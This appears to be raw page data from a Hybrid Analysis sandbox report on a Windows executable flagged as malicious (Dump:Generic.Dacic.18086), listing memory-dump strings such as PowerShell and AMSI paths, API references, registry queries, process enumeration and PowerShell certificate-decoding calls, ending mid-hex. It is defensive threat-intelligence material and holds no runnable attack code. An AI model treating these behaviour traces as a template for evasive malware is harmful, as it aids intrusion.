34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 62:I[99539,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4e9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Dump:Generic.Dacic.18086 Sample 4de2ee5e21f8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4de2ee5e21f8…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 11/24 AV engines flagged this file. 15 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","keywords":["Malicious","Dump:Generic.Dacic.18086","malware analysis","sandbox report","threat intelligence","4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab"],"about":{"@type":"SoftwareApplication","name":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe","applicationCategory":["peexe","executable"],"identifier":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Dump:Generic.Dacic.18086","antivirusDetections":{"malicious":11,"total":24},"behavioralIndicators":{"malicious":15,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T9d2,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp, 00000000-00004032.00000001.191512.03294000.00000004.mdmp, 00000000-00004032.00000001.191512.07C82000.00000004.mdmp, 00000000-00004032.00000001.191512.08CF0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found string "??\C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found string "??\C:\WINDOWS\assembly\GAC_MSIL\System.Management.Automation.resources\3.0.0.0_en-US_31bf3856ad364e35\System.Management.Automation.resources.dll" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00004032.00000000.190188.03270000.00000004.mdmp, 00000000-00004032.00000001.191512.03294000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00004032.00000001.191512.04D60000.00000004.mdmp, 00000000-00004032.00000001.191512.07C82000.00000004.mdmp") Found string ":\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.EXE" (Source: "00000000-00004032.00000001.191512.08D39000.00000004.mdmp") Found string "ile:///C:/WINDOWS/SysWOW64/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources.EXE" (Source: "00000000-00004032.00000001.191512.08D39000.00000004.mdmp") Found string "ile:///C:/WINDOWS/SysWOW64/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources/System.Management.Automation.resources.DLL" (Source: "00000000-00004032.00000001.191512.08D39000.00000004.mdmp")37:T42b,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004032.00000001.191512.00522000.00000002.mdmp")38:T80a,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00002956.00000001.191399.01C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00003452.00000000.190300.03C00000.00000004.mdmp, 00000000-00003452.00000001.190332.03C00000.00000004.mdmp")39:T64c,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WBEMSCRIPTING.SWBEMLOCATOR") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMLOCATOR") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMLOCATOR") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKCU\WBEMSCRIPTING.SWBEMLOCATOR\CLSID") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMLOCATOR\CLSID") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMLOCATOR\CLSID") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMLOCATOR\CLSID") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM") "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PROGIDINDEX")3a:Td6b,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1122552703 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1122559952 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1122785206 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1122792447 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1123327411 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1123336974 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1123545790 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1123553308 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1124102662 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1124109506 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1126674254 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1126682152 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1127573231 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1127580197 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1130623016 [PID: 9068] "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" queried SystemProcessInformation at 00000000-00009068-00000C15-1130630884 [PID: 9068] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1133905213 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1133914805 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1134129868 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1134137358 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1134663837 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1134671160 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1134865524 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1134872511 [PID: 8464] "spoolsv.exe" queried SystemProcessInformation at 00000000-00008464-00000C15-1135358971 [PID: 8464]3b:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDV/poQLjVsb85LnwsCuA0OwrdhOgJ9Idx88iVA/crVxKCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCHnmKbck0ySOYBbtr7gcHQVsdIM0PxB7sZ2FyCQLdcFaCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a30383